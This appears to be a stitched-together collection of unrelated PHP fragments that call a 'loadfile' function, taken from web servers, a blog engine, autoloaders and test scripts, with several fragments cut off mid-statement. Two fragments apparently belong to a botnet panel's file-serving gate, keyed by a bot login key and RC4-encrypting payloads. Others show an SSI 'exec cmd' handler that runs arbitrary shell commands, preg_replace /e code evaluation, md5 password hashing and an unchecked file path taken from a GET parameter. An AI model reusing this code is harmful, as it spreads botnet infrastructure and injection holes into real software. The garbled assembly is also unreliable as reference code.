function protocolLoader($className) { $className = str_replace('Metaregistrar\\RDAP\\', '', $className); loadfile($className, ''); loadfile($className, 'data'); loadfile($className, 'responses'); }
function autoload($className) { $className = str_replace('Metaregistrar\\DNS\\', '', $className); loadfile($className, ''); loadfile($className, 'dnsData'); loadfile($className, 'dnsResponses'); }
function parser_open($args, $filename, &$rq_err, &$cgi_headers) { global $path_info, $docroot, $add_errmsg, $rq_file, $mime, $http_uri, $pri_redir, $out_contenttype; if (empty($path_info)) { return loadfile($docroot . $http_uri, $rq_file["extension"], $rq_err, $cgi_headers); } if (!($this->ziphandle = zip_open($docroot . DIRECTORY_SEPARATOR . $filename))) { $rq_err = 500; $add_errmsg = "Accessed file was not in correct .ZIP format."; } else { $this->fp = $this->fpos = $this->size = 0; $pi = trim($path_info, "/"); $pi_dir = substr($path_info, strlen($path_info) - 1) == "/"; $dirname = false; $dirlist = array(); while ($this->fp = zip_read($this->ziphandle)) { $fn = zip_entry_name($this->fp); $fn = ltrim(str_replace("\\", "/", $fn), "/"); if ($fn == $pi) { break; } elseif ($dirname && strpos($fn, $dirname) === 0 || $dirname === "") { $is_dir = substr($fn, strlen($fn) - 1) == "/"; $fn = substr($fn, strlen($dirname)); if (!strpos(trim($fn, "/"), "/")) { $dirlist[] = array("filename" => $fn, "size" => zip_entry_filesize($this->fp), "is_dir" => $is_dir); } } elseif ($path_info == "/" || $fn == $pi . "/" && !zip_entry_filesize($this->fp)) { if ($pi_dir) { $dirname = $pi; $dirlist[] = array("filename" => "..", "is_dir" => 1, "size" => 0); } else { $pri_redir = $http_uri . $path_info . "/"; return; } } } if (!$this->fp) { if (count($dirlist) || $dirname !== false) { $rq_err = 501; $add_errmsg = "<h3>ZIP contents:</h3>\n"; foreach ($dirlist as $i) { $add_errmsg .= ($i["is_dir"] ? '[dir] ' : '') . '<a href="' . $i["filename"] . '">' . $i["filename"] . '</a> (' . $i['size'] . ' bytes)<br>' . "\n"; } $add_errmsg .= "<br>\n"; } else { $rq_err = 404; } } elseif (zip_entry_open($this->ziphandle, $this->fp, "rb")) { $this->size = zip_entry_filesize($this->fp); $this->fpos = 0; $http_uri .= $path_info; $rq_file = pathinfo($http_uri); $out_contenttype = $mime[strtolower($rq_file["extension"])] or $out_contenttype = $default_ct; $cgi_headers["X-Powered-By"] = "zziplib"; $cgi_headers["Content-Length"] = $this->size; } } }
function load_deffile($deffile) { $result = false; $this->deffile = $deffile; $content = loadfile($this->deffile); if ($content) { $this->get_data($content); $result = true; } return $result; }
function load_nmc_data($MyData, $date = "2011-06-09", $type = "daily", &$minscale, &$maxscale, $interval = "1-hour") { //namecoin_2011-06-08.csv namecoin_2011-06-09.csv //array(5) { [0]=> string(3) "195" // [1]=> string(3) "buy" // [2]=> string(19) "10.0000000000000000" // [3]=> string(22) "0.00723001000000000000" // [4]=> string(26) "2011-06-09 00:27:19.698726" } //array(5) { [0]=> string(3) "199" [1]=> string(4) "sell" [2]=> string(18) "3.0000000000000000" [3]=> string(22) "0.00690000000000000000" [4]=> string(26) "2011-06-09 01:12:29.363403" } //echo $type; //exit; //printf ("avant load"); $filename = "../data/{$type}/namecoin_{$date}.csv"; //printf("filename : $filename <br />\n"); exit; if (file_exists($filename)) { $csvfile = fopen($filename, "r") or die("can't open file"); } else { echo "wrong date : " . $date; exit; } //echo $type;exit; /* if ( $type == "daily" ) loadfile ($MyData, $csvfile, $date, $minscale, $maxscale, $interval); if ( $type == "weekly" ) loadfile ($MyData, $csvfile, $date, $minscale, $maxscale, $interval); if ( $type == "monthly" ) loadfile ($MyData, $csvfile, $date, $minscale, $maxscale, $interval); if ( $type == "yearly" ) loadfile ($MyData, $csvfile, $date, $minscale, $maxscale, $interval); */ //printf("$MyData, $csvfile, $date, $minscale, $maxscale, $interval"); loadfile($MyData, $csvfile, $date, $minscale, $maxscale, $interval); fclose($csvfile); //var_dump($MyData);exit; //printf ("apres load"); //printf("minscale: $minscale maxscale: $maxscale <br />\n"); //printf("minscale: $minscale maxscale: $maxscale <br />\n"); //var_dump($rawdata); /* if ( $type == "hourly" ) { $MyData->addPoints(array("01","02","03","04","05", "06","07","08","09","10","11","12","13","14","15","16","17","18","19","20","21","22","23","24"),"Time"); } */ }
function parse_template($tplfile, $objfile) { global $options; $nest = 5; if (!($template = loadfile($tplfile))) { exit('Current template file not found or have no access!'); } /* elseif (!include_once lang('templates')) { exit("Current template pack do not have a necessary language file 'templates.php' or have syntax error!"); } */ $var_regexp = "((\\\$[a-zA-Z_-ÿ][a-zA-Z0-9_-ÿ]*)(\\[[a-zA-Z0-9_\\-\\.\"\\'\\[\\]\$-ÿ]+\\])*)"; $const_regexp = "([a-zA-Z_-ÿ][a-zA-Z0-9_-ÿ]*)"; $template = preg_replace("/([\n\r]+)\t+/s", "\\1", $template); $template = preg_replace("/\\<\\!\\-\\-\\{(.+?)\\}\\-\\-\\>/s", "{\\1}", $template); $template = preg_replace("/\\{lang\\s+(.+?)\\}/ies", "languagevar('\\1')", $template); $template = preg_replace("/\\{(\\\$[a-zA-Z0-9_\\[\\]\\'\"\$\\.-ÿ]+)\\}/s", "<?=\\1?>", $template); $template = preg_replace("/{$var_regexp}/es", "addquote('<?=\\1?>')", $template); $template = preg_replace("/\\<\\?\\=\\<\\?\\={$var_regexp}\\?\\>\\?\\>/es", "addquote('<?=\\1?>')", $template); $template = "<? if(!defined('SABLOG_ROOT')) exit('Access Denied'); ?>\n{$template}"; $template = preg_replace("/[\n\r\t]*\\{template\\s+([a-z0-9_]+)\\}[\n\r\t]*/is", "\n<? include template('\\1'); ?>\n", $template); $template = preg_replace("/[\n\r\t]*\\{template\\s+(.+?)\\}[\n\r\t]*/is", "\n<? include template(\\1); ?>\n", $template); $template = preg_replace("/[\n\r\t]*\\{eval\\s+(.+?)\\}[\n\r\t]*/ies", "stripvtags('\n<? \\1; ?>\n','')", $template); $template = preg_replace("/[\n\r\t]*\\{elseif\\s+(.+?)\\}[\n\r\t]*/ies", "stripvtags('\n<? } elseif(\\1) { ?>\n','')", $template); $template = preg_replace("/[\n\r\t]*\\{else\\}[\n\r\t]*/is", "\n<? } else { ?>\n", $template); for ($i = 0; $i < $nest; $i++) { $template = preg_replace("/[\n\r\t]*\\{loop\\s+(\\S+)\\s+(\\S+)\\}[\n\r]*(.+?)[\n\r]*\\{\\/loop\\}[\n\r\t]*/ies", "stripvtags('\n<? if(is_array(\\1)) { foreach(\\1 as \\2) { ?>','\n\\3\n<? } } ?>\n')", $template); $template = preg_replace("/[\n\r\t]*\\{loop\\s+(\\S+)\\s+(\\S+)\\s+(\\S+)\\}[\n\r\t]*(.+?)[\n\r\t]*\\{\\/loop\\}[\n\r\t]*/ies", "stripvtags('\n<? if(is_array(\\1)) { foreach(\\1 as \\2 => \\3) { ?>','\n\\4\n<? } } ?>\n')", $template); $template = preg_replace("/[\n\r\t]*\\{if\\s+(.+?)\\}[\n\r]*(.+?)[\n\r]*\\{\\/if\\}[\n\r\t]*/ies", "stripvtags('\n<? if(\\1) { ?>','\n\\2\n<? } ?>\n')", $template); } $template = preg_replace("/\\{{$const_regexp}\\}/s", "<?=\\1?>", $template); $template = preg_replace("/ \\?\\>[\n\r]*\\<\\? /s", " ", $template); $template = preg_replace("/\"(http)?[\\w\\.\\/:]+\\?[^\"]+?&[^\"]+?\"/e", "transamp('\\0')", $template); $template = str_replace('<?=', '<?php echo ', $template); $template = str_replace('<? ', '<?php ', $template); if (!writefile($objfile, $template)) { exit('Directory \'./data/template/\' not found or have no access!'); } }
function parser_open($args, $filename, $rq_err, $cgi_headers) { $f = fopen($filename, NW_BSAFE_READ_OPEN); $content = fread($f, filesize($filename)); fclose($f); while (($p1 = strpos($content, "<!--#")) !== false) { $s = substr($content, $p1 + 5); if (!($p2 = strpos($s, "-->"))) { techo("WARN: SSI parse error in " . $filename, NW_EL_WARNING); $rq_err = 500; } $s = trim(substr($s, 0, $p2)); $tmp = explode("=", $s); if (count($tmp) != 2) { techo("WARN: SSI parse error in " . $filename, NW_EL_WARNING); $rq_err = 500; } $cmd = strtolower(trim($tmp[0])); $arg = trim($tmp[1], " \""); switch ($cmd) { case "include virtual": $ext = strstr($arg, "."); $tmp = loadfile($docroot . $arg, substr($ext, 1), $rq_err, $add_headers); $repl = $tmp->parser_get_output(); $tmp->parser_close(); break; case "include file": $ext = strstr($arg, "."); $tmp = loadfile("./" . $arg, substr($ext, 1), $rq_err, $add_headers); $repl = $tmp->parser_get_output(); $tmp->parser_close(); break; case "exec cmd": $repl = `{$arg}`; break; } $content = substr($content, 0, $p1) . $repl . substr($content, $p1 + $p2 + 8); } $this->parsed_content = $content; }
function parser_open($pri_parser_args, &$real_uri, &$rq_err, &$out_add_headers, &$out_contenttype) { global $lf, $http_action, $htreq_content; global $docroot, $http_uri, $path_info, $pri_parser, $add_nsv; // remove "*" again $http_action = $this->http_action; // handler cgi needs absolute path if (!($handler = realpath($docroot . $this->handler))) { $lf = new static_response(nw_error_page($rq_err = 500)); } $rq_dest = pathinfo($handler); $path_info = "/" . $http_uri; $http_uri = $this->handler; #-- $add_nsv["SCRIPT_FILENAME"] = $add_nsv["PATH_TRANSLATED"] = $handler; $add_nsv["REDIRECT_STATUS"] = "200"; $add_nsv["SCRIPT_NAME"] = $path_info; $add_nsv["REDIRECT_URL"] = $path_info; $add_nsv["REQUEST_URI"] = $path_info; // replace $this with CGI module return $ps = loadfile($handler, $rq_dest["extension"], $rq_err, $out_add_headers, $pri_parser); }
header("Content-Type: application/octet-stream"); if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $iefilename = preg_replace('/\\./', '%2e', $filename, substr_count($filename, '.') - 1); header("Content-Disposition: attachment; filename=\"{$iefilename}\""); } else { header("Content-Disposition: attachment; filename=\"{$filename}\""); } header('Content-Transfer-Encoding: binary'); header("Content-Length: " . $len); @ob_clean(); flush(); if (!$cipher) { @readfile("{$filename}"); } else { $contents = file_get_contents($filename); rc4($contents, $GLOBALS['config']['botnet_cryptkey_bin']); echo $contents; } return true; } $success = loadfile($requestfile); if (FILEPHP_DEBUG_MODE && file_exists($logfile = basename(__FILE__) . '.log')) { $f = @fopen($logfile, 'a'); if ($f) { @fwrite($f, '[' . date('d.m.Y H:i:s') . '] Load "' . $requestfile . '" : ' . ($success ? 'ok' : 'FAILED!') . "\n"); @fclose($f); } } if (!$success) { die404(); }
$reset_db = loadfile(CFDATAPATH . 'rs.cf'); if ($reset_db['id'] == cl($_GET['reset']) && $reset_db['date'] + 3600 > time()) { $reset_password = true; $_SESSION['reset_password'] = cl($_GET['reset']); } else { user_feedback('error', _T("admin_log_forgot_password_err"), 'admin_log_forgot_password_1'); } } else { user_feedback('error', _T("admin_log_forgot_password_err"), 'admin_log_forgot_password_2'); } } // FORGOT YOUR PASSWORD - NEW PASSWORD if (isset($_POST['action']) && $_POST['action'] == 'reset') { //check reset code if (file_exists(CFDATAPATH . 'rs.cf')) { $reset_db2 = loadfile(CFDATAPATH . 'rs.cf'); if ($reset_db2['id'] == $_SESSION['reset_password'] && $reset_db2['date'] + 3600 > time()) { //Password if (!empty($_POST['newPassword']) && !empty($_POST['newConfirm'])) { if (cl($_POST['newPassword']) == cl($_POST['newConfirm'])) { $settings['SET_PASSWORD'] = md5(md5(cl($_POST['newPassword'])) . $settings['SET_SALTING']); // save settings if (saveSettings('inc/set.php', $settings)) { user_feedback('success', _T("admin_log_forgot_password_update"), 'password_update'); @unlink(CFDATAPATH . 'rs.cf'); } else { user_feedback('error', _T("admin_set_err_saveing_settings"), 'admin_log_password_update'); $reset_password = true; } } else { user_feedback('error', _T("admin_set_err_password_wrong"), 'admin_log_password_wrong');
function load_deffile($deffile) { $this->deffile = $deffile; $this->get_data(loadfile($this->deffile)); }
$tempfp = $rate + $tempfp; $count++; flush(); ob_flush(); sleep($GLOBALS['sleep']); } if ($log) { fwrite($lp, $count * $rate); fwrite($lp, "\n"); fclose($lp); } fclose($fp); } if (isset($_GET['fileloc'])) { $filelocation = $_GET['fileloc']; } else { $filelocation = '../../../../../../resources/media/xiph/theora_testsuite/320x240.ogg'; } //used a lot in video tests, leaving it as is if (isset($_GET['rate'])) { $rate = intval($_GET['rate']); } else { $rate = 1024; } if (isset($_GET['sleep'])) { $sleep = intval($_GET['sleep']); } else { $sleep = 1; } loadfile($filelocation, $rate);
function parser_get_output() { global $docroot, $http_uri, $path_info, $rq_err, $out_add_headers, $pri_parser, $add_nsv, $lf; // mk absolute paths if (!($dest_handler = realpath($this->args)) && !($dest_handler = realpath($docroot . $this->args))) { return; } $rq_dest = pathinfo($dest_handler); $path_info = "/" . $http_uri; $http_uri = $this->args; unset($add_nsv); $add_nsv["SCRIPT_FILENAME"] = $add_nsv["PATH_TRANSLATED"] = $dest_handler; $add_nsv["REDIRECT_STATUS"] = "200"; $add_nsv["SCRIPT_NAME"] = $this->args; $add_nsv["REDIRECT_URL"] = $path_info; $add_nsv["REQUEST_URI"] = $path_info; #print_r($add_nsv); // clean parent parser, as it will be removed if (is_object($this->pp)) { $this->pp->parser_close(); $this->pp->peof = true; } #print_r($this); // replace $this with CGI module $lf = loadfile($dest_handler, $rq_dest["extension"], $rq_err, $out_add_headers, $pri_parser); #print_r($ps); return $lf->parser_get_output(); }
$filedb = array(); while ($fileinfo = readdir($fp)) { if ($fileinfo != '.' && $fileinfo != '..' && $fileinfo != 'index.php' && is_file(SABLOG_ROOT . $dir . '/' . $fileinfo)) { $extension = getextension($fileinfo); if ($extension == 'php' || $extension == 'css') { $i++; $filedb[$i]['filename'] = str_replace(array('.php', '.css'), '', $fileinfo); $filedb[$i]['filedesc'] = $desc[$filedb[$i]['filename']] ? $desc[$filedb[$i]['filename']] : $filedb[$i]['filename']; $filedb[$i]['extension'] = $extension; } } } closedir($fp); asort($filedb); unset($fileinfo); !$file && ($file = $filedb[$i]['filename']); !$ext && ($ext = $filedb[$i]['extension']); $ext = in_array($ext, array('php', 'css')) ? $ext : 'php'; $filepath = SABLOG_ROOT . $dir . '/' . $file . '.' . $ext; if (file_exists($filepath)) { $writeable = false; if (is_writeable($filepath)) { $writeable = true; } $contents = htmlspecialchars(loadfile($filepath)); } $subnav = '编辑模板 - ' . $path; } $navlink_L = $subnav ? ' » <span>' . $subnav . '</span>' : ''; cpheader($subnav); include template('template');
} else { $rq_err = 501; } } break; } unset($pri_parser); if ($rq_err != 200 && $rq_err != 416) { // Error messages if ($rq_err >= 400) { if (($errordoc = trim(access_query("_errordocument", "_" . $rq_err))) && @is_readable($docroot . $errordoc)) { $add_nsv["REDIRECT_STATUS"] = $rq_err; $add_nsv["REDIRECT_URL"] = "/" . $GLOBALS["real_uri"]; $http_uri = $errordoc; $errext = substr(strrchr($errordoc, "."), 1); $lf = loadfile($docroot . $errordoc, $errext, $rq_err, $out_add_headers); if ($mimetype = $mime[strtolower($errext)]) { $out_contenttype = $mimetype; } else { $out_contenttype = $default_ct; } } else { $out_contenttype = "text/html"; $lf =& new static_response(nw_error_page($rq_err)); if ($errordoc) { techo("WARN: unable to read error document : [" . $rq_err . "] " . $errordoc, NW_EL_WARNING); } } $cnx = false; } else { if ($rq_err >= 301) {
function upfile($source, $target) { // 如果一种函数上传失败,还可以用其他函数上传 if (function_exists('move_uploaded_file') && move_uploaded_file($source, $target)) { chmod($target, 0666); return $target; } elseif (copy($source, $target)) { chmod($target, 0666); return $target; } elseif (is_readable($source)) { $filedata = loadfile($source); if (writefile($target, $filedata, 'wb', 0)) { return $target; } else { return false; } } }
unset($user); $DB->free_result($query); } //backup if ($action == 'cache') { require_once SABLOG_ROOT . 'include/func/attachment.func.php'; $cachedesc = array('allarticleids' => '所有文章ID(供随机文章用)', 'archives' => '日志归档', 'categories' => '日志分类', 'hottags' => '热门标签', 'links' => '友情链接', 'stick' => '置顶文章', 'newarticles' => '最新文章', 'newcomments' => '最新评论', 'settings' => '系统参数', 'statistics' => '统计信息', 'stylevars' => '模板变量'); $cachedb = array(); foreach ($cachedesc as $name => $desc) { $filepath = SABLOG_ROOT . 'data/cache/cache_' . $name . '.php'; if (is_file($filepath)) { $cachefile['name'] = $name; $cachefile['desc'] = $desc; $cachefile['size'] = sizecount(filesize($filepath)); $cachefile['mtime'] = @sadate('Y-m-d H:i', @filemtime($filepath), 1); $bakinfo = loadfile($filepath, 200); $detail = explode("\n", $bakinfo); $cachefile['ctime'] = getstrlen($detail[2]) == 33 ? substr($detail[2], 13, 16) : '未知'; $cachedb[] = $cachefile; } } unset($cachefile); $subnav = '缓存管理'; } // 重建数据 if ($action == 'rebuild') { $subnav = '重建数据'; } //rebuild // 运行记录 if (in_array($action, array('adminlog', 'loginlog', 'deladminlog', 'delloginlog', 'dberrorlog', 'deldberrorlog'))) {
} if (strcasecmp(trim($list[SBCID_LOGIN_KEY]), BO_LOGIN_KEY) != 0) { die; } $requestfile = trim($list[SBCID_REQUEST_FILE]); function loadfile($file) { $filename = './filesss/' . basename($file); if (!is_file($filename)) { die; } $len = filesize($filename); $file_extension = strtolower(substr(strrchr($filename, "."), 1)); header("Cache-Control:"); header("Cache-Control: public"); header("Content-Type: application/octet-stream"); if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $iefilename = preg_replace('/\\./', '%2e', $filename, substr_count($filename, '.') - 1); header("Content-Disposition: attachment; filename=\"{$iefilename}\""); } else { header("Content-Disposition: attachment; filename=\"{$filename}\""); } header('Content-Transfer-Encoding: binary'); header("Content-Length: " . $len); @ob_clean(); flush(); @readfile("{$filename}"); exit; } loadfile($requestfile); die;